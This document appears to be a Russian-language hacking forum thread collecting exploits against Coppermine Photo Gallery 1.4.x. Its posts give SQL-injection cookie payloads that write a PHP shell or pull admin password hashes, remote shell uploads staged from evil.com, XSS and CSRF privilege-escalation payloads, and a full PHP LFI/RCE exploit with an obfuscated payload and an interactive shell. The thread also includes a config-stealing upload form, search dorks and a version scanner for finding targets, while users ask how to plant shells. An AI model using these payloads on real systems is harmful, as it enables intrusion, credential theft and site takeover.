?>
2voron999888, 2+toxa+
Эксплоит использует два запроса вложенный один в другой.
Сначала идет
-1) UNION SELECT [HEX],1 as md5_password/*
Где [HEX] - полезная нагрузка, которая будет возвращена как результат во второй SQL-запрос.
[HEX] => to_hex => '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*'
Видимо такой автор видел возможность получения логических 0 и 1.
Бонус в том, что на ура пройдет выгрузка шела, ведь HEX позволяет избежать слеширования ковычек.
Иными словами
COOKIE: cpm_gallery=-1) UNION SELECT [HEX],1 as md5_password/*
где [HEX]
0) UNION SELECT '<?php;phpinfo();?>' from cpg_users into outfile('/www/shell.php')/*
[i] Не забываем, нужен file_priv для текущего mysql юзверя.
[i] Напоминаю, что для выгрузки в файл НЕОБХОДИМО формально указать любую существующую таблицу к которой у данного юзверя должен быть доступ.
[i] -1, 0 указываются для того чтобы первая часть запроса ничего не возвращала, в противном случае ваш юнион запрос может быть не обработан. Это я про ваши IN(1).
PS:
В родном эксплоите от РСТ необходимо заменить
$page = '';
на
$page = 'thumbnails.php';
...и он начинает правильно находить имя кук ;)
Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)
2) Продукт: Coppermine Photo Gallery <=1.4.16
3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.
4) Автор: Elekt (bug found April 9, 2008)
5) Тип: удалённая
6) Опасность: 5/10
7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.
8) Эксплоит: способ эксплуатации уязвимости
[1] Shell upload
1) Заливаем shell.hack и .htaccess на свой сервер
2) Авторизуйтесь, вам должно быть разрешено заливать файлы
3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
4) Удачная загрузка -> Продолжить
5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php
[2] Admin data
1) Заливаем exploit.hack и .htaccess на свой сервер
2) Настраиваем [options] в эксплойте
2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
3) Авторизуйтесь, вам должно быть разрешено заливать файлы
4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
http://forum.coppermine-gallery.net/index.php/topic,51787.0.html
Сам уязвимый код:
/upload.php
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {
cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__);
}
$URI_upload_count = count($_POST['URI_array']);
if ($URI_upload_count > 0) {
if(!(eregi('^content-type: ([[:graph:]]+)', $header['wrapper_data'][$i], $MIME_extraction_array))) {
$MIME_result = cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'");
Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)
2) Продукт: Coppermine Photo Gallery <=1.4.17
3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.
4) Автор: unknown
6) Опасность: 4/10
5) Тип: удалённая
7) Описание:
Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.
[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.
Эксплоит:
по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;
автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;
[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
http://forum.coppermine-gallery.net/index.php/topic,51882.0.html
Разработчик пофиксил проблему, заменив md5-sql на md5-php:
было
where session_id = md5(" ' . $session_id . ' "); ';
стало
where session_id = ' " . md5($session_id) . " ' ";
Сам уязвимый код:
function session_extraction()
{
// Get the session cookie value
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
if ($sessioncookie) {
// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
1) Дата:
Найдена: April 28, 2008
2) Продукт: Coppermine Photo Gallery <=1.4.18
3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток.
4) Автор: Elekt (bug found April 28, 2008)
5) Тип: удалённая
6) Опасность: 3/10
7) Описание:
Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row".
Необоходимые условия:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email
~ включен лог открыток(по дефолту отключено)
Как и почему это работает.
1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается.
А заодно stripslashes()'тся, что дает возможность использовать NULL-byte.
2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним.
Таким образом email вида "test@blah.com\x00\" успешно проходит проверку.
3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.
SQL-error:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
4) С ошибки нам ничего не поиметь, но вот если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection
SQL-inj-more1row:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
5) Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.
8) Эксплоит: способ эксплуатации уязвимости
1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email.
2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся.
3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку)
5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет.
6) В поле "Имя получателя" проводим SQL-more1row.
FALSE
Имя получателя: or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE
Имя получателя: or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
Скрипт перебора напишите сами.
7) Фильтруется '<' '>' . Можно использовать только '='
9) Поиск: пример поиска приложения через поисковые системы
Powered by Coppermine Photo Gallery
10) Решение: решение для устранения уязвимости
1) установить addslashes() перед регуляркой проверки email в register.php
2) экранировать "\"
Сам уязвимый код:
/ecard.php
if ($CONFIG['log_ecards'] == 1) {
$result_log = cpg_db_query("INSERT INTO {$CONFIG['TABLE_ECARDS']} (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('$sender_name', '$sender_email', '$recipient_name', '$recipient_email', '$encoded_data', '$tempTime', '{$_SERVER["REMOTE_ADDR"]}')");
}
/register.php
$email = trim(get_post_var('email'));
if (!eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$", $email)) $error .= '<li>' . $lang_register_php['err_invalid_email'];
$sql = "INSERT INTO {$CONFIG['TABLE_USERS']} ".
"(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".
"VALUES (NOW(), '$active', '$act_key', '" . addslashes($user_name) . "', '" . addslashes($encpassword) . "', '" . addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')";
baltazar
01.05.2008, 03:59
XSS:
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> [xsscode here]
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> <body%20onload=alert(document.cookie);>
(с) (http://www.xakep.ru/post/22215/default.asp)
XSS Coppermine Photo Gallery <= 1.4.18
http://target.com/cpg/docs/showdoc.php?css="><script>alert(/Achat/)</script><
Каратель
02.08.2008, 14:06
<?php
/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"
[-] vulnerable code to LFI in /include/init.inc.php
263. // Start output buffering
264. ob_start('cpg_filter_page_html');
265.
266. // Parse cookie stored user profile
267. user_get_profile(); <==== [1]
268.
269. // Authenticate
270. $cpg_udb->authenticate();
[...]
301. // Process language selection if present in URI or in user profile or try
302. // autodetection if default charset is utf-8
303. if (!empty($_GET['lang']))
304. {
305. $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];
306. }
307.
308. if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
309. {
310. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
311. $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
312. }
313. elseif ($CONFIG['charset'] == 'utf-8') <====== [2]
314. {
315. include('include/select_lang.inc.php');
316. if (file_exists('lang/' . $USER['lang'] . '.php'))
317. {
318. $CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
319. $CONFIG['lang'] = $USER['lang'];
320. }
321. }
322. else
323. {
324. unset($USER['lang']);
325. }
326.
327. if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
328. {
329. unset($CONFIG['default_lang']);
330. }
331.
332. if (!file_exists("lang/{$CONFIG['lang']}.php"))
333. $CONFIG['lang'] = 'english';
334.
335. // We load the chosen language file
336. require "lang/{$CONFIG['lang']}.php"; <======== [3]
if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to
include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by
cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146)
[-] Path disclosure in /themes/sample/theme.php
[-] Possible bug fix in /include/functions.inc.php
128. function user_get_profile()
129. {
130. global $CONFIG, $USER;
131.
132. if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
133. $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
134. $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang'];
135. }
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function get_info()
{
global $host, $path, $cookie, $version, $path_disc;
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
preg_match("/Set-Cookie: (.*)_data/", $html, $match);
$cookie = $match[1];
preg_match("/<!--Coppermine Photo Gallery (.*) /", $html, $match);
$version = $match[1];
$packet = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
preg_match("/in <b>(.*)themes/", http_send($host, $packet), $match);
$path_disc = $match[1];
}
function get_logs()
{
$logs[] = "/apache/logs/access.log";
$logs[] = "/apache2/logs/access.log";
$logs[] = "/apache/log/access.log";
$logs[] = "/apache2/log/access.log";
$logs[] = "/logs/access.log";
$logs[] = "/var/log/apache/access.log";
$logs[] = "/var/log/apache2/access.log";
$logs[] = "/var/log/access.log";
$logs[] = "/var/www/logs/access.log";
$logs[] = "/var/www/log/access.log";
$logs[] = "/var/log/httpd/access.log";
$logs[] = "/etc/httpd/logs/access.log";
$logs[] = "/usr/local/apache/logs/access.log";
$logs[] = "/usr/local/apache2/logs/access.log";
for ($i = 0, $climb = "../.."; $i < 7; $i++)
{
foreach ($logs as $_log) $array[] = $climb.$_log;
$climb .= "/..";
}
return $array;
}
function first_time()
{
global $host, $path;
$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
return (!preg_match("/_code_/", http_send($host, $packet)));
}
function lfi()
{
global $host, $path, $cookie;
$logs = get_logs();
foreach ($logs as $_log)
{
print "[-] Trying to include {$_log}\n";
$data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log.chr(0))));
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$cookie}_data={$data}\r\n";
$packet .= "Connection: close\r\n\r\n";
$resp = http_send($host, $packet);
if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) return true;
sleep(1);
}
return false;
}
print "\n+-------------------------------------------------------------------------+";
print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage...: php $argv[0] host path\n";
print "\nhost....: target server (ip/hostname)";
print "\npath....: path to cpg directory\n";
die();
}
$host = $argv[1];
$path = $argv[2];
get_info();
print "\n[-] Version..........: {$version}";
print "\n[-] Cookie name......: {$cookie}";
print "\n[-] Path disclosure..: {$path_disc}\n\n";
if (first_time())
{
$code = base64_decode(
"PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKD ExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" .
"TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXR lKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" .
"A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSku Y2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" .
"ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoM TAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" .
"LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2 hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" .
"2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDE wMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" .
"kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5j aHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" .
"oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY 2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" .
"ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2 hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" .
"DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2h yKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");
$packet = "GET {$path}{$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "User-Agent: {$code}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
if (!lfi()) die("\n[-] Exploit failed...\n");
}
while(1)
{
print "\ncoppermine-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
list($header, $payload) = explode("_code_", http_send($host, $packet));
preg_match("/200 OK/", $header) ? print "\n{$payload}" : die("\n[-] Exploit failed...\n");
}
else break;
}
?>
Basurman
04.08.2008, 15:26
ПАРСЕР ВЕРСИЙ
Скрипт работает по списку.
http:// указывать обязательно
Создает после выполнения 2 файлика: output.txt и log.txt
В log.txt хранится весь лог работы, данные ДОБАВЛЯЮТСЯ.
В output.txt хранится лог по обработке текущего списка. Предыдущие результаты стираются. В этот файл не попадают сайты, версию у которых определить не удалось...
P.S. Кому не нужны версии старше определенной, удаляем 2 строки комментария в исходнике и добавляем 1 сразу после них
#!/usr/bin/perl
use LWP::UserAgent;
use Time::tm;
print "\n############# Coppermine Version Parser v0.2 ###############\n\n";
if (@ARGV != 1) { notvalid(); exit();}
my $uagent = LWP::UserAgent->new();
open (INPUT, "< input.txt");
open (OUTPUT, "> output.txt");
open (LOG, ">> log.txt");
print LOG "======================== ".localtime()." ========================\n\n";
while ($url = <INPUT>) {
chomp($url);
my $req = HTTP::Request->new(GET => "$url");
my $res = $uagent->request($req);
$mystr=$res->as_string;
if ($mystr=~ /\<\!\-\-Coppermine\s+Photo\s+Gallery\s+(\d+.\d+.\d+)/)
{
$tolog = "[+] [".localtime()."] ".$url." --> ".$1."\n";
# if ($1=~ /1.4.18/) { print LOG $tolog; print $tolog; }
# else { print LOG $tolog; print OUTPUT $tolog; print $tolog;}
print LOG $tolog; print OUTPUT $tolog; print $tolog;
}
else
{
$tolog = "[-] [".localtime()."] ".$url." --> Version unknown...\n";
print LOG $tolog; print $tolog;
}
}
print LOG "\n\n";
close INPUT;
close OUTPUT;
close LOG;
sub notvalid()
{
print "Usage: parser.pl <site list>\r\n";
print "Example: parser.pl input.txt\r\n\nNOTE: URLs in list must be ABSOLUTE!!!\n";
}
deathking
04.01.2009, 01:45
[PHP]<?php
/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"
[-] vulnerable code to LFI in /include/init.inc.php
а полного кода нет ни у кого??
deathking
04.01.2009, 01:49
а файлики не качаюцца :(
Coppermine Photo gallery - Remote PHP File Upload 1.4.19
<?php
<html>
<form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php"
method=post>
<input name="save" value=1>
<input name="keysToSkip" value=1>
<input name="_GET" value=1>
<input name="_REQUEST" value=1>
<input type=submit>
</form>
</html>
This request will copy the database connection info and make it readable here:
http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt
This attack works with allow_url_fopen=Off
<html>
<form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt"
method=post>
<input name="save" value=1>
<input name="keysToSkip" value=1>
<input name="_GET" value=1>
<input name="_REQUEST" value=1>
<input type=submit>
</form>
</html>
?>
Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC
csrf-инъекция в BB-теге img (комментарии к фото):
[img*]http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img*]
где [ID]- id атакующего
как только администратор посетит страницу с кодом, атакующий получит администраторские привилегии. Так-то!
//by Juri Gianni aka yeat - staker[at]hotmail[dot]it
Привет,
Я имею admin на Coppermine Photo Gallery 1.4.14 modpack v1 (stable). Как я могу залить шелл ?
mailbrush
13.03.2009, 13:22
vector, два поста выше. Если не понял - стучи в аську 674542, помогу.
1.4.21 (stable) - есть админка, можно как-нить шелл залить?
Coppermine Photo gallery - Remote PHP File Upload 1.4.19
<?php
<html>
<form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php"
method=post>
<input name="save" value=1>
<input name="keysToSkip" value=1>
<input name="_GET" value=1>
<input name="_REQUEST" value=1>
<input type=submit>
</form>
</html>
This request will copy the database connection info and make it readable here:
http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt
This attack works with allow_url_fopen=Off
<html>
<form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt"
method=post>
<input name="save" value=1>
<input name="keysToSkip" value=1>
<input name="_GET" value=1>
<input name="_REQUEST" value=1>
<input type=submit>
</form>
</html>
?>
Эту хрень как юзать то, какие пути куда ставить???
-m0rgan-
05.04.2009, 10:07
Cохраняешь как пхп и запускаешь...
1.4.21 (stable) - есть админка, можно как-нить шелл залить?
Снимаю вопрос, можно через плагины =)
Пытался проэксплотировать Coppermine Photo gallery - Remote PHP File Upload 1.4.19 на локалхосте. Скрипт после отправки из хтмл формы пишет "Произошла ошибка при обращении к базе данных.". Приведу немного более детальную информацию:
<form action="http://test1.ru/Gallery/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/test.txt"
method=post>
<input name="save" value=1>
<input name="keysToSkip" value=1>
<input name="_GET" value=1>
<input name="_REQUEST" value=1>
<input type=submit>
</form>
</html>
Получаю:
Произошла ошибка при обращении к базе данных.
While executing query "UPDATE cpg14x_pictures
SET pheight = ,
pwidth = ,
filesize = 0,
total_filesize = 0
WHERE pid = '-1'" on 0
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '
pwidth = ,
' at line 2
Отладочная информация:
USER:
------------------
Array
(
[ID] => 7a90b61ad582429ba6863b711ab83959
[am] => 1
[lang] => russian
)
==========================
USER DATA:
------------------
Array
(
[user_id] => 1
[user_name] => 111
[groups] => Array
(
[0] => 1
)
[disk_max] => 0
[disk_min] => 0
[can_rate_pictures] => 1
[can_send_ecards] => 1
[ufc_max] => 3
[ufc_min] => 3
[custom_user_upload] => 0
[num_file_upload] => 5
[num_URI_upload] => 3
[can_post_comments] => 1
[can_upload_pictures] => 1
[can_create_albums] => 1
[has_admin_access] => 1
[pub_upl_need_approval] => 0
[priv_upl_need_approval] => 0
[group_name] => Administrators
[upload_form_config] => 3
[group_quota] => 0
[can_see_all_albums] => 1
[group_id] => 1
)
==========================
Queries:
------------------
Array
(
[0] => SELECT extension, mime, content, player FROM cpg14x_filetypes; (0.006s)
[1] => select * from cpg14x_plugins order by priority asc; (0.003s)
[2] => delete from `cpg`.cpg14x_sessions where time<1239905435 and remember=0; (0.011s)
[3] => delete from `cpg`.cpg14x_sessions where time<1238699435; (0.003s)
[4] => select user_id from `cpg`.cpg14x_sessions where session_id = '31d9cb0a10390819fbc0e3a1f7ffc37b' (0.002s)
[5] => select user_id as id, user_password as password from `cpg`.cpg14x_users where user_id=1 (0.007s)
[6] => SELECT u.user_id AS id, u.user_name AS username, u.user_password AS password, u.user_group+100 AS group_id FROM `cpg`.cpg14x_users AS u INNER JOIN `cpg`.cpg14x_usergroups AS g ON u.user_group=g.group_id WHERE u.user_id='1' (0.005s)
[7] => SELECT user_group_list FROM `cpg`.cpg14x_users AS u WHERE user_id='1' and user_group_list <> ''; (0.01s)
[8] => SELECT MAX(group_quota) as disk_max, MIN(group_quota) as disk_min, MAX(can_rate_pictures) as can_rate_pictures, MAX(can_send_ecards) as can_send_ecards, MAX(upload_form_config) as ufc_max, MIN(upload_form_config) as ufc_min, MAX(custom_user_upload) as custom_user_upload, MAX(num_file_upload) as num_file_upload, MAX(num_URI_upload) as num_URI_upload, MAX(can_post_comments) as can_post_comments, MAX(can_upload_pictures) as can_upload_pictures, MAX(can_create_albums) as can_create_albums, MAX(has_admin_access) as has_admin_access, MIN(pub_upl_need_approval) as pub_upl_need_approval, MIN( priv_upl_need_approval) as priv_upl_need_approval FROM cpg14x_usergroups WHERE group_id in (1) (0.002s)
[9] => SELECT group_name FROM cpg14x_usergroups WHERE group_id= 1 (0.002s)
[10] => update `cpg`.cpg14x_sessions set time='1239909035' where session_id = '31d9cb0a10390819fbc0e3a1f7ffc37b' (0.002s)
[11] => SELECT user_favpics FROM cpg14x_favpics WHERE user_id = 1 (0.026s)
[12] => DELETE FROM cpg14x_banned WHERE expiry < '2009-04-16 19:10:36' (0.03s)
[13] => SELECT * FROM cpg14x_banned WHERE (ip_addr='127.0.0.1' OR ip_addr='127.0.0.1' OR user_id=1) AND brute_force=0 (0.002s)
[14] => UPDATE cpg14x_pictures
SET pheight = ,
pwidth = ,
filesize = 0,
total_filesize = 0
WHERE pid = '-1' (0.001s)
[15] => SELECT COUNT(*) FROM cpg14x_pictures WHERE approved = 'NO' (0.026s)
)
==========================
GET :
------------------
Array
(
[img_dir] => include/config.inc.php
[CURRENT_PIC] => Array
)
==========================
POST :
------------------
Array
(
[save] => 1
[keysToSkip] => 1
[_GET] => 1
[_REQUEST] => 1
)
==========================
VERSION INFO :
------------------
PHP version: 5.2.4 - OK
------------------
mySQL version: 5.0.45-community-nt
------------------
Coppermine version: 1.4.19(stable)
==========================
Module: GD
------------------
GD Version: bundled (2.0.34 compatible)
FreeType Support: 1
FreeType Linkage: with freetype
T1Lib Support: 1
GIF Read Support: 1
GIF Create Support: 1
JPG Support: 1
PNG Support: 1
WBMP Support: 1
XPM Support:
XBM Support: 1
JIS-mapped Japanese Font Support:
==========================
Module: mysql
------------------
MySQL Supportenabled
Active Persistent Links 0
Active Links 1
Client API version 5.0.45
==========================
Module: zlib
------------------
ZLib Support enabled
Stream Wrapper support compress.zlib://
Stream Filter support zlib.inflate, zlib.deflate
Compiled Version 1.2.3
Linked Version 1.2.3
==========================
Server restrictions (safe mode)?
------------------
Directive | Local Value | Master Value
safe_mode | Off | Off
safe_mode_exec_dir | no value | no value
safe_mode_gid | Off | Off
safe_mode_include_dir | no value | no value
safe_mode_exec_dir | no value | no value
sql.safe_mode | Off | Off
disable_functions | no value | no value
file_uploads | On | On
include_path | .;/usr/local/php5/PEAR | .;/usr/local/php5/PEAR
open_basedir | no value | no value
==========================
email
------------------
Directive | Local Value | Master Value
sendmail_from | me@localhost.com | me@localhost.com
sendmail_path | \usr\sbin\sendmail*-t*-i | \usr\sbin\sendmail*-t*-i
SMTP | localhost | localhost
smtp_port | 25 | 25
==========================
Size and Time
------------------
Directive | Local Value | Master Value
max_execution_time | 30 | 30
max_input_time | 60 | 60
upload_max_filesize | 2M | 2M
post_max_size | 8M | 8M
==========================
Page generated in 1.545 seconds - 16 queries in 0.138 seconds - Album set : ; Meta set: ;
Заметки
\include\init.inc.php
Notice line 56: Array to string conversion
\picEditor.php
Notice line 115: Undefined variable: img_dir
Notice line 118: Undefined index: id
Notice line 123: Undefined index: newimage
Notice line 148: Undefined variable: imgObj
Notice line 148: Trying to get property of non-object
Notice line 149: Undefined variable: imgObj
Notice line 149: Trying to get property of non-object
Notice line 150: Undefined variable: CURRENT_PIC
Notice line 150: Undefined variable: CURRENT_PIC
Notice line 151: Undefined variable: CURRENT_PIC
Notice line 151: Undefined variable: CURRENT_PIC
Notice line 155: Undefined variable: CURRENT_PIC
Notice line 155: Undefined variable: CURRENT_PIC
Warning line 155: copy() [function.copy]: The first argument to copy() function cannot be a directory
Warning line 163: unlink(albums/normal_) [function.unlink]: No such file or directory
Warning line 168: filesize() [function.filesize]: stat failed for albums/thumb_
\include\picmgmt.inc.php
